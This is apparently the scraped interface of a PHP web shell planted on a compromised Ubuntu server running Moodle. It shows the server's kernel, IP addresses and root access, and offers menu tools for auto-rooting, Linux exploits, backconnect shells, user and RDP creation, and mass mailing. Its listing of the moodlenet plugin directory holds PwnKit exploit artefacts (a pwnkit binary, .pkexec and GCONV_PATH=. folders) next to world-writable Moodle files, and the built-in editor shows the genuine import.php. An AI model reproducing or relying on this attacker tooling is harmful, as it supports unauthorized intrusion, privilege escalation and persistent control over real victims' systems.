Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
admin /
tool /
moodlenet /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxrwxrwx
classes
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
templates
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
import.php
3.23
KB
-rwxrwxrwx
index.php
5.54
KB
-rwxrwxrwx
lib.php
3.86
KB
-rwxrwxrwx
options.php
4.82
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
select.php
1.74
KB
-rwxrwxrwx
settings.php
2.04
KB
-rwxrwxrwx
version.php
1.06
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : import.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This is the main endpoint which MoodleNet instances POST to. * * MoodleNet instances send the user agent to this endpoint via a form POST. * Then: * 1. The POSTed resource information is put in a session store for cross-request access. * 2. This page makes a GET request for admin/tool/moodlenet/index.php (the import confirmation page). * 3. Then, depending on whether the user is authenticated, the user will either: * - If not authenticated, they will be asked to login, after which they will see the confirmation page (leveraging $wantsurl). * - If authenticated, they will see the confirmation page immediately. * * @package tool_moodlenet * @copyright 2020 Jake Dallimore <jrhdallimore@gmail.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ use tool_moodlenet\local\import_info; use tool_moodlenet\local\remote_resource; use tool_moodlenet\local\url; require_once(__DIR__ . '/../../../config.php'); // The integration must be enabled for this import endpoint to be active. if (!get_config('tool_moodlenet', 'enablemoodlenet')) { print_error('moodlenetnotenabled', 'tool_moodlenet'); } $resourceurl = required_param('resourceurl', PARAM_URL); $resourceinfo = required_param('resource_info', PARAM_RAW); $resourceinfo = json_decode($resourceinfo); $type = optional_param('type', 'link', PARAM_TEXT); $course = optional_param('course', 0, PARAM_INT); $section = optional_param('section', 0, PARAM_INT); // If course isn't provided, course and section are null. if (empty($course)) { $course = null; $section = null; } $name = validate_param($resourceinfo->name, PARAM_TEXT); $description = validate_param($resourceinfo->summary, PARAM_TEXT); // Only accept POSTs. if (!empty($_POST)) { // Store information about the import of the resource for the current user. $importconfig = (object) [ 'course' => $course, 'section' => $section, 'type' => $type, ]; $metadata = (object) [ 'name' => $name, 'description' => $description ?? '' ]; require_once($CFG->libdir . '/filelib.php'); $importinfo = new import_info( $USER->id, new remote_resource(new \curl(), new url($resourceurl), $metadata), $importconfig ); $importinfo->save(); // Redirect to the import confirmation page, detouring via the log in page if required. redirect(new moodle_url('/admin/tool/moodlenet/index.php', ['id' => $importinfo->get_id()])); } // Invalid or missing POST data. Show an error to the user. print_error('missinginvalidpostdata', 'tool_moodlenet');
Close